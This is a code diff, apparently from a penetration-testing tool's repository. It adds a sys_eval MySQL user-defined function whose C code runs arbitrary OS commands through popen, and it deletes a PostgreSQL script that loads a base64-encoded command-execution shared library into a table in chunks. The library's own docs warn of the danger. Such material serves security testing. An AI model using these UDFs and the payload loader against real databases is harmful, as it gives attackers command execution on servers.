-+ if(args->arg_count == 1 -+ && args->arg_type[i]==STRING_RESULT){ -+ return 0; -+ } else { -+ strcpy( -+ message -+ , "Expected exactly one string type parameter" -+ ); -+ return 1; -+ } -+} -+void sys_eval_deinit( -+ UDF_INIT *initid -+){ -+} -+char* sys_eval( -+ UDF_INIT *initid -+, UDF_ARGS *args -+, char* result -+, unsigned long* length -+, char *is_null -+, char *error -+){ -+ FILE *pipe; -+ char line[1024]; -+ unsigned long outlen, linelen; -+ -+ result = malloc(1); -+ outlen = 0; -+ -+ pipe = popen(args->args[0], "r"); -+ -+ while (fgets(line, sizeof(line), pipe) != NULL) { -+ linelen = strlen(line); -+ result = realloc(result, outlen + linelen); -+ strncpy(result + outlen, line, linelen); -+ outlen = outlen + linelen; -+ } -+ -+ pclose(pipe); -+ -+ if (!(*result) || result == NULL) { -+ *is_null = 1; -+ } else { -+ result[outlen] = 0x00; -+ *length = strlen(result); -+ } -+ -+ return result; -+} -+ - - #endif /* HAVE_DLOPEN */ -diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html ---- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000 -+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000 -@@ -23,7 +23,8 @@ - This library lib_mysqludf_sys contains a number of functions that allows one to interact with the operating system. -

-
    --
  1. sys_exec - executes an arbitrary command, and can thus be used to launch an external application.
  2. -+
  3. sys_eval - executes an arbitrary command, and returns it's output.
  4. -+
  5. sys_exec - executes an arbitrary command, and returns it's exit code.
  6. -
  7. sys_get - gets the value of an environment variable.
  8. -
  9. sys_set - create an environment variable, or update the value of an existing environment variable.
  10. -
-@@ -31,6 +32,72 @@ - Use lib_mysqludf_sys_info() to obtain information about the currently installed version of lib_mysqludf_sys. -

- -+ -+

sys_eval

-+

-+ sys_eval takes one command string argument and executes it, returning its output. -+

-+

Syntax

-+
sys_eval(arg1)
-+

Parameters and Return Values

-+
-+
arg1
-+
-+ A command string valid for the current operating system or execution environment. -+
-+
returns
-+
-+ Whatever output the command pushed to the standard output stream. -+
-+
-+

Installation

-+

-+ Place the shared library binary in an appropriate location. -+ Log in to mysql as root or as another user with sufficient privileges, and select any database. -+ Then, create the function using the following DDL statement: -+

-+
-+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';	
-+	
-+

-+ The function will be globally available in all databases. -+

-+

-+ The deinstall the function, run the following statement: -+

-+
-+DROP FUNCTION sys_eval;
-+	
-+

Examples

-+

-+ None yet -+

-+

A Note of Caution

-+

-+ Be very careful in deciding whether you need this function. -+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them. -+ As the commandstring passed to sys_exec can do pretty much everything, -+ exposing the function poses a very real security hazard. -+

-+

-+ Even for a benign user, it is possible to accidentally do a lot of damage with it. -+ The call will be executed with the privileges of the os user that runs MySQL, -+ so it is entirely feasible to delete MySQL's data directory, or worse. -+

-+

-+ The function is intended for specialized MySQL applications where one needs extended -+ control over the operating system. -+ Currently, we do not have UDF's for ftp, email and http, -+ and this function can be used to implement such functionality in case it is really necessary -+ (datawarehouse staging areas could be a case in example). -+

-+

-+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this. -+

-+

-+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using AppArmor. -+

-+ -

sys_exec

-

- sys_exec takes one command string argument and executes it. -@@ -92,6 +159,9 @@ -

- You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this. -

-+

-+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using AppArmor. -+

-

sys_get

-

- sys_get takes the name of an environment variable and returns the value of the variable. -Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ -diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql ---- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000 -+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000 -@@ -1,30 +1,33 @@ --/* -- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions -- Copyright (C) 2007 Roland Bouman -- web: http://www.xcdsql.org/MySQL/UDF/ -- email: mysqludfs@gmail.com -- -- This library is free software; you can redistribute it and/or -- modify it under the terms of the GNU Lesser General Public -- License as published by the Free Software Foundation; either -- version 2.1 of the License, or (at your option) any later version. -- -- This library is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- Lesser General Public License for more details. -- -- You should have received a copy of the GNU Lesser General Public -- License along with this library; if not, write to the Free Software -- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -+/* -+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions -+ Copyright (C) 2007 Roland Bouman -+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G. -+ web: http://www.mysqludf.org/ -+ email: roland.bouman@gmail.com, bernardo.damele@gmail.com -+ -+ This library is free software; you can redistribute it and/or -+ modify it under the terms of the GNU Lesser General Public -+ License as published by the Free Software Foundation; either -+ version 2.1 of the License, or (at your option) any later version. -+ -+ This library is distributed in the hope that it will be useful, -+ but WITHOUT ANY WARRANTY; without even the implied warranty of -+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -+ Lesser General Public License for more details. -+ -+ You should have received a copy of the GNU Lesser General Public -+ License along with this library; if not, write to the Free Software -+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - --drop function lib_mysqludf_sys_info; --drop function sys_get; --drop function sys_set; --drop function sys_exec; -+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info; -+DROP FUNCTION IF EXISTS sys_get; -+DROP FUNCTION IF EXISTS sys_set; -+DROP FUNCTION IF EXISTS sys_exec; -+DROP FUNCTION IF EXISTS sys_eval; - --create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so'; --create function sys_get returns string soname 'lib_mysqludf_sys.so'; --create function sys_set returns int soname 'lib_mysqludf_sys.so'; --create function sys_exec returns int soname 'lib_mysqludf_sys.so'; -+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; -+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; -+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; -+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; -+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; -diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile ---- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000 -+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000 -@@ -1,6 +1,4 @@ --linux: \ -- lib_mysqludf_sys.so -+LIBDIR=/usr/lib - --lib_mysqludf_sys.so: \ -- -- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so -+install: -+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so -Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn diff --git a/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz b/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz deleted file mode 100644 index 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b/extra/mysqludfsys/linux/so/lib_mysqludf_sys.so similarity index 100% rename from extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so rename to extra/mysqludfsys/linux/so/lib_mysqludf_sys.so diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c b/extra/mysqludfsys/linux/src/lib_mysqludf_sys.c similarity index 100% rename from extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c rename to extra/mysqludfsys/linux/src/lib_mysqludf_sys.c diff --git a/extra/postgresqludfsys/command_execution/linux.sql b/extra/postgresqludfsys/command_execution/linux.sql deleted file mode 100644 index 36a3711e4..000000000 --- a/extra/postgresqludfsys/command_execution/linux.sql +++ /dev/null @@ -1,97 +0,0 @@ --- Notes: --- --- The SO compiled using PostgreSQL 8.3 C libraries differs from the one --- compiled using PostgreSQL 8.2 C libraries --- --- SO compiled using PostgreSQL 8.3 C libraries --- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped) --- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped) --- --- SO compiled using PostgreSQL 8.2 C libraries --- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped) --- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped) --- --- Little hack to compress the shared object: --- * Compile with -O1 the shared object --- * Use strip to remove all symbols (-s) and non-global symbols (-x) - - --- Create a table with one field data-type text -DROP TABLE IF EXISTS udftest; -CREATE TABLE udftest(data text); - - --- Insert the base64 encoded UDF in the table - --- SO compiled using PostgreSQL 8.3 C libraries -INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA'); -UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAAAAkAAHwAAAASAAsAaAAAADoHAADGAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAACjBwAACAAAAAggAAAIAAAAWwcAAAIPAAAZCQAAAg8AAHAHAAACCwAAlQ'; -UPDATE udftest SET data=data||'cAAAILAACNCAAAAgsAAC4JAAACCwAAhQcAAAIKAADaCAAAAgoAAEMJAAACCgAAqwcAAAIBAADwBwAAAgUAABgIAAACBwAAPggAAAIIAABUCAAAAg4AAPEIAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLAMHoAo1w/IPoA4kEJOj8////icONRwSJdCQIiUQkBIkcJOj8////xgQzAMcEJAEAAADo/P///4mF2Pv//8dEJATUCQAAiRwk6Pz///+Jhdz7///HheD7//8AAAAA62GNvfD7//+4AAAAALn/////8q6JyPfQjXD/i53g+///AfOJXCQEi5XY+///iRQk6Pz///+Jhdj7//+JdCQIjYXw+///iUQ'; -UPDATE udftest SET data=data||'kBIuF2Pv//wOF4Pv//4kEJOj8////iZ3g+///i5Xc+///iVQkCMdEJAQABAAAjYXw+///iQQk6Pz///+FwA+Fd////4uV3Pv//4kUJOj8////i4XY+///gDgAdAuLleD7///GRBD/AL7/////i73Y+///uwAAAACJ8YnY8q730YPBA4kMJOj8////iYXU+///i73Y+///ifGJ2PKu99GNDI0MAAAAi5XU+///iQqLvdj7//+J8fKu99GD6QGJ0IPABIlMJAiLldj7//+JVCQEiQQk6Pz///+LhdT7//+LVfBlMxUUAAAAdAXo/P///4HELAQAAFteX13DVYnlg+wYiV30iXX4iX38i1UIi0IQiQQk6Pz///+Jx4sAwegCjXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIwMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; -UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; -UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA'; -UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg'; -UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA=='; - --- SO compiled using PostgreSQL 8.2 C libraries --- INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA'); --- UPDATE udftest SET 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data=data||'JRCQEi4XY+///A4Xg+///iQQk6Pz///+JneD7//+Lldz7//+JVCQIx0QkBAAEAACNhfD7//+JBCTo/P///4XAD4V3////i5Xc+///iRQk6Pz///+Lhdj7//+AOAB0C4uV4Pv//8ZEEP8Avv////+Lvdj7//+7AAAAAInxidjyrvfRg8EDiQwk6Pz///+JhdT7//+Lvdj7//+J8YnY8q730YPBA4uV1Pv//4kKi73Y+///ifHyrvfRg+kBidCDwASJTCQIi5XY+///iVQkBIkEJOj8////i4XU+///i1XwZTMVFAAAAHQF6Pz///+BxCwEAABbXl9dw1WJ5YPsGIld9Il1+Il9/ItVCItCEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIgMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; --- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; --- UPDATE udftest SET 